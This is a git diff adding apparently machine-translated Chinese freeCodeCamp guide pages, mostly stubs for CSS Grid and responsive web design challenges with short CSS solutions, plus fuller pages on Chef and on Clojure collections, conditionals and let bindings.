+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/index.md
new file mode 100644
index 0000000000..d9ace23c57
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid
+localeTitle: CSS网格
+---
+## CSS网格
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[CSS技巧指导网格](https://css-tricks.com/snippets/css/complete-guide-grid/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
new file mode 100644
index 0000000000..3669a88866
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
@@ -0,0 +1,29 @@
+---
+title: Limit Item Size Using the minmax Function ##
+localeTitle: 使用minmax函数限制项目大小##
+---
+将_minmax_函数与_repeat_函数结合使用正是这个挑战所描述的内容，但这对我来说本身并不明显。传递此挑战的方法是删除_repeat_函数中的**max-width**值，然后添加_minmax_函数来代替_repeat_ **max-width**值。
+
+这里是什么样子_之前_和_之后_的方法用一个**例子** ：
+
+### 之前
+
+```css
+    grid-template-columns: repeat(3, 1fr); 
+```
+
+### 后
+
+```css
+    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+```
+
+* * *
+
+您也可以在Codepen上查看此嵌入式笔以查看实际操作中的示例，您可以调整其大小以查看结果：
+
+请参阅[CodePen](https://codepen.io/skywardcode)上的[skywardcode](https://codepen.io) （ [@skywardcode](https://codepen.io/skywardcode) ）的Pen [limit-item-size-using-the-minmax-function](https://codepen.io/skywardcode/pen/EeGGze/) 。
+
+### 资源
+
+[Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/CSS/minmax)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
new file mode 100644
index 0000000000..316c7a2cd1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Place Items in Grid Areas Using the grid-area Property
+localeTitle: 使用网格区域属性在网格区域中放置项目
+---
+## 使用网格区域属性在网格区域中放置项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
new file mode 100644
index 0000000000..8ca468333d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Reduce Repetition Using the repeat Function
+localeTitle: 使用重复功能减少重复
+---
+## 使用重复功能减少重复
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
new file mode 100644
index 0000000000..212167a85d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
@@ -0,0 +1,23 @@
+---
+title: Use CSS Grid Units to Change the Size of Columns and Rows
+localeTitle: 使用CSS网格单位更改列和行的大小
+---
+## 使用CSS网格单位更改列和行的大小
+
+此挑战要求您将容器列的宽度设置为质询描述中指定的宽度。
+
+### 暗示
+
+更改`grid-template-columns`属性。
+
+### 解
+
+由于挑战要求您将宽度设置为`1fr` ， `100px`和`2fr` ，因此`2fr`的`css grid-template-columns`属性`.container`为：
+
+```css
+grid-template-columns: 1fr 100px 2fr; 
+```
+
+#### 更多信息
+
+*   [fr CSS单元简介 - CSS技巧](https://css-tricks.com/introduction-fr-css-unit/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
new file mode 100644
index 0000000000..30c0921761
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-area Without Creating an Areas Template
+localeTitle: 使用网格区域而不创建区域模板
+---
+## 使用网格区域而不创建区域模板
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
new file mode 100644
index 0000000000..f6ec708ca0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-column to Control Spacing
+localeTitle: 使用grid-column控制间距
+---
+## 使用grid-column控制间距
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
new file mode 100644
index 0000000000..3373e9a8ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-row to Control Spacing
+localeTitle: 使用网格行控制间距
+---
+## 使用网格行控制间距
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
new file mode 100644
index 0000000000..57d2e0f797
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Media Queries to Create Responsive Layouts
+localeTitle: 使用媒体查询创建响应布局
+---
+## 使用媒体查询创建响应布局
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/index.md b/client/src/guide/chinese/certifications/responsive-web-design/index.md
new file mode 100644
index 0000000000..c904465af1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design
+localeTitle: 响应式网页设计
+---
+## 响应式网页设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
new file mode 100644
index 0000000000..61aad34980
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
@@ -0,0 +1,22 @@
+---
+title: Create a Media Query
+localeTitle: 创建媒体查询
+---
+## 创建媒体查询
+
+按照说明：
+
+添加媒体查询，以便当设备的高度小于或等于800px时，p标签的字体大小为10px。
+
+媒体查询是：
+
+```css
+  /* Add media query below */ 
+  @media (max-height: 800px){ 
+    p { 
+    font-size: 10px; 
+      } 
+  } 
+```
+
+当设备的宽度小于或等于800px时，文本大小为10px。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/index.md
new file mode 100644
index 0000000000..f969d0064e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Principles
+localeTitle: 响应式网页设计原则
+---
+## 响应式网页设计原则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
new file mode 100644
index 0000000000..5d0fc53d95
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
@@ -0,0 +1,22 @@
+---
+title: Make an Image Responsive
+localeTitle: 使图像响应
+---
+## 使图像响应
+
+按照说明：
+
+添加img标记的样式规则，使其响应其容器的大小。它应该显示为块级元素，它应该适合其容器的整个宽度而不拉伸，并且它应该保持其原始的宽高比。
+
+风格变成：
+
+```css
+<style> 
+  img { 
+  max-width: 100%; 
+  display: block; 
+  height: auto; 
+ } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
new file mode 100644
index 0000000000..9fb1940cd6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Typography Responsive
+localeTitle: 使排版响应
+---
+## 使排版响应
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
new file mode 100644
index 0000000000..d54a28b241
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
@@ -0,0 +1,19 @@
+---
+title: Use a Retina Image for Higher Resolution Displays
+localeTitle: 使用Retina图像获得更高分辨率的显示
+---
+## 使用Retina图像获得更高分辨率的显示
+
+按照说明：
+
+将img标记的宽度和高度设置为原始值的一半。在这种情况下，原始高度和原始宽度都是200px。
+
+风格4变为：
+
+```css
+  <style> 
+  img { height: 100px; width: 100px; } 
+  </style> 
+```
+
+请注意，使图像显示为“视网膜”（并为视网膜显示进行优化）的最简单方法是将其宽度和高度值定义为原始文件的一半。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
new file mode 100644
index 0000000000..eea4e7ce1d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Personal Portfolio Webpage
+localeTitle: 建立个人投资组合网页
+---
+## 建立个人投资组合网页
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
new file mode 100644
index 0000000000..d464bb4557
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Product Landing Page
+localeTitle: 建立产品登陆页面
+---
+## 建立产品登陆页面
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
new file mode 100644
index 0000000000..ac198cbf6f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Survey Form
+localeTitle: 建立调查表格
+---
+## 建立调查表格
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
new file mode 100644
index 0000000000..636f39cc14
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Build a Technical Documentation Page
+localeTitle: 建立技术文档页面
+---
+## 建立技术文档页面
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息
+
+[一个YouTube视频，展示了如何制作技术文档页面](https://youtu.be/kmHdn_AcTdI)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
new file mode 100644
index 0000000000..2297e83382
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tribute Page
+localeTitle: 建立致敬页面
+---
+## 建立致敬页面
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/index.md b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/index.md
new file mode 100644
index 0000000000..3c9abd5412
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/responsive-web-design-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Projects
+localeTitle: 响应式网页设计项目
+---
+## 响应式网页设计项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/chef/index.md b/client/src/guide/chinese/chef/index.md
new file mode 100644
index 0000000000..a662e4259a
--- /dev/null
+++ b/client/src/guide/chinese/chef/index.md
@@ -0,0 +1,25 @@
+---
+title: Chef
+localeTitle: 领导者
+---
+## 厨师
+
+Chef是一个强大的自动化平台，可将基础架构转换为代码。无论您是在云端，本地还是在混合环境中运行，Chef都可以自动化网络中基础架构的配置，部署和管理方式，无论其大小如何。
+
+#### 厨师如何运作
+
+厨师在食谱中存储食谱的集合。一本食谱应该涉及单个任务，但可以涉及许多不同的服务器配置（例如，带有数据库的Web应用程序，将具有两个配方，每个部分一个，一起存储在食谱中）。
+
+有一个Chef服务器存储每个这些cookbook，并且当一个新的Chef客户端节点检入服务器时，会发送配方告诉节点如何配置自己。
+
+然后，客户端将不时检查以确保没有发生任何更改，并且不需要更改任何内容。如果是，则客户处理它。通过更改配方，可以在整个基础架构上推出修补程序和更新。无需单独与每台机器进行交互。
+
+#### 厨师配置
+
+![图片标题](https://regmedia.co.uk/2015/10/07/chef_configuration_management.jpg)
+
+#### 更多信息：
+
+*   [Chef TutorialsPoint](https://www.tutorialspoint.com/chef/chef_overview.htm)
+*   [官方文件](https://docs.chef.io/chef_overview.html)
+*   [厨师教程](http://gettingstartedwithchef.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/collections/index.md b/client/src/guide/chinese/clojure/collections/index.md
new file mode 100644
index 0000000000..a6339529d8
--- /dev/null
+++ b/client/src/guide/chinese/clojure/collections/index.md
@@ -0,0 +1,16 @@
+---
+title: Clojure Collections
+localeTitle: Clojure系列
+---
+Clojure的主要优点之一是它有很多不同类型的序列：向量，列表，哈希图， _哦，我的！_每种不同类型的集合都有自己的优势，缺点和一系列有用的功能。
+
+要了解每种类型的集合之间的差异，何时使用它们以及如何在它们之间进行转换，可能需要检查其他类型的集合并提醒自己是什么使它们与众不同。
+
+因此，此页面充当索引，因此您可以轻松查看有关数据结构的任何文章。
+
+*   [清单](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417)
+*   [矢量](http://forum.freecodecamp.com/t/clojure-vectors/18421)
+*   [包含HashMap](http://forum.freecodecamp.com/t/clojure-hashmaps/18414)
+
+| [![:point_left:](/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) | [![:book:](/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](/images/emoji/emoji_one/book.png?v=2 "：书：")](http://forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |  
+| [更多关于功能](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) | [目录](http://forum.freecodecamp.com/t/clojure-resources/18422) | [列表](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/conditionals/index.md b/client/src/guide/chinese/clojure/conditionals/index.md
new file mode 100644
index 0000000000..ba98e46e2b
--- /dev/null
+++ b/client/src/guide/chinese/clojure/conditionals/index.md
@@ -0,0 +1,141 @@
+---
+title: Clojure Conditionals
+localeTitle: Clojure条件
+---
+如果您能做的就是定义打印事物的函数并进行简单的算术运算，那么您将无法使用某种语言。条件和逻辑是使代码做有趣，有用的事情的基本部分。尝试并想象一个没有程序逻辑的世界：你甚至不能做简单的事情，比如检查两个数字是否相等！
+
+## 逻辑运算符
+
+与大多数语言一样，Clojure有3个逻辑运算符： `and` ， `or` `not` 。这些函数将布尔值（ `true`或`false` ）作为参数，并根据这些布尔值返回布尔值。就像Lisp中的所有内容一样，这些运算符使用前缀表示法，这意味着它们可能看起来很奇怪。
+```
+(and true false) 
+ ; => false 
+ (and true true) 
+ ; => true 
+ (or false false) 
+ ; => false 
+ (or true false) 
+ ; => true 
+ (not true) 
+ ; => false 
+ (not false) 
+ ; => true 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/XfXn8T)
+
+## 如果
+
+`if`允许您根据布尔值是`true`还是`false`来执行代码。 `if`在Clojure看起来很奇怪，不是因为它使用前缀表示法，而是因为没有else关键字。如果条件为真，则计算第一个表达式。如果它是假的，它会执行第二个。
+```
+(if (= (+ 2 2) 4) 
+  (println "Maths works!") ; this gets evaluated if 2 + 2 = 4 
+  (println "UH OH"))       ; this gets evaluated if 2 + 2 != 4 
+ ; => Maths works! 
+ ;    nil 
+```
+
+这提出了一个问题：如果我们想做多件事怎么办？
+```
+(if (= (+ 2 2) 4) 
+  (println "Maths works!") 
+  (println "Maths still works!") 
+  (println "UH OH")) 
+ ; => CompilerException java.lang.RuntimeException: Too many arguments to if 
+```
+
+值得庆幸的是，我们有`do`函数来解决这个问题。 `do`一个接一个地评估多个表达式。
+```
+(if (= (+ 2 2) 4) 
+  (do                               ; all of this gets evaluated if 2 + 2 = 4 
+    (println "Maths works!") 
+    (println "Maths still works!")) 
+  (println "UH OH")) 
+ ; => Maths works! 
+ ;    Maths still works! 
+ ;    nil 
+```
+
+**注意：**因为`if`本身就是一个表达式，所以不需要像许多类C语言那样的三元运算符。
+```
+var doesMathsWork = 2 + 2 === 4 ? "Maths works!" : "UH OH"; 
+ console.log(doesMathsWork); 
+ // => Maths works! 
+```
+
+既然你已经看到它是如何工作的，它看起来并不那么奇怪吧？这更容易阅读和理解（忽略缺少`else`词）：
+```
+(def does-maths-work (if (= (+ 2 2) 4) "Maths works!" "UH OH")) 
+ (println does-maths-work) 
+ ; => Maths works! 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/5XhcAa)
+
+## If的替代方案
+
+Clojure也有一些宏的行为与`if`相似，有时可能更简洁。
+
+`if-not`也许是最简单的例子-它`if`反转。这两段代码完全相同：
+```
+(def does-maths-work (if (not (= (+ 2 2) 4)) "UH OH" "Maths works!")) 
+ (def does-maths-work (if-not (= (+ 2 2) 4) "UH OH" "Maths works!")) 
+```
+
+如果第一个表达式为false，则计算第一个表达式，如果为真，则计算第二个表达式。请注意，使用`if-not`避免嵌套我们的内部条件`not` ，它可以使我们的代码更易于理解。
+
+`when`是另一个有用的宏。这两段代码也是一样的：
+```
+(if (= (+ 2 2) 4) (do (println "Maths works!") (println "Hooray!"))) 
+ (when (= (+ 2 2) 4) (println "Maths works!") (println "Hooray!")) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/tUVAw3)
+
+**注意：**没有`when/else` 。 `when`条件为真_时才_执行。
+
+`cond`允许您将许多条件组合到单个表达式中。它需要一系列逻辑表达式和表达式对，并按顺序评估每个逻辑表达式。当它找到一个计算结果为`true`的逻辑表达式时，它会计算该对的第二个表达式。在此之后，不会评估其他表达式。这种行为就像Javascript中的短路逻辑。
+```
+(cond (= 0 1) "I'm paired with a false expression and I don't evalute.." 
+      (= 1 1) "I'm the first expression paired with a true expression!" 
+      (= 2 2) "I don't evalute even though I'm also paired with true ;_;" 
+      :else   "I evaluate if no other boolean expressions evaluate to true") 
+ ; => "I'm the first expression paired with a true expression!" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/zu5RCq)
+
+可以使用`:else`关键字代替`cond`最后一个表达式对中的逻辑表达式。它表示如果所有其他布尔表达式的计算结果为false，则应评估相应的表达式。它与将`true`为最后一个布尔表达式相同。
+
+## 特殊形式和评估
+
+您可能已经注意到，评估条件表达式的规则与其他表达式略有不同。条件表达式是一组称为_特殊形式_的表达式的一部分。这意味着它们不遵循正常的Clojure评估规则。
+
+如您所知，条件表达式仅计算与布尔结果对应的子表达式。这意味着在某些情况下不会评估条件表达式中的无效代码。考虑下面的两个`if`表达式。虽然`(+ 1 "failure")`是无效表达式，但Clojure仅在条件为`false`时引发异常。
+```
+(if true "sucess" (+ 1 "failure")) 
+ ; => "sucess" 
+ (if false "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/n4Ug2S)
+
+将其与`my-if`的行为进行比较，如下所示：
+```
+(defn my-if [condition true-case false-case] 
+  (if condition true-case false-case)) 
+ 
+ (my-if true "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/U7cVI4)
+
+`my-if`是具有正常评估规则的函数，因此必须先评估所有子表达式，然后才能对其进行评估。
+
+Clojure有很多有用的宏用于各种任务。试着看看[Clojure文档](https://clojuredocs.org/) ，看看你是否能找到更多！
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-the-basics/18410) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |  
+| [摘要](//forum.freecodecamp.com/t/clojure-the-basics/18410) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [条件](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/create-local-variables-with-let/index.md b/client/src/guide/chinese/clojure/create-local-variables-with-let/index.md
new file mode 100644
index 0000000000..d78f3376f4
--- /dev/null
+++ b/client/src/guide/chinese/clojure/create-local-variables-with-let/index.md
@@ -0,0 +1,58 @@
+---
+title: Clojure Create Local Variables with Let
+localeTitle: Clojure用Let创建局部变量
+---
+`let`是Clojure的基本组成部分。 `def`创建一个全局变量，而`let`创建一个局部变量。
+```
+(def x 5) 
+ (println x) 
+ ; => 5 
+ ;    nil 
+ (let [x 2] 
+  (println x)) 
+ ; => 2 
+ ;    nil 
+ (println x) 
+ ; => 5 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/xcNth2)
+
+此示例中的`x`实际上从未实际更改过。 `x`只是指我们的`let`绑定内部不同的东西。这可以是避免函数内部重复的有用方法。
+
+这非常有用。拥有太多全局变量可能会导致令人讨厌的错误和意外行为。
+```
+(def x 5) 
+ (defn add-5 [y] (+ xy)) 
+ (add-5 5) 
+ ; => 10 
+ (defn change-x [] 
+  (def x 6)) 
+ (change-x) 
+ ; => nil 
+ (add-5 5) 
+ ; => 11 
+```
+
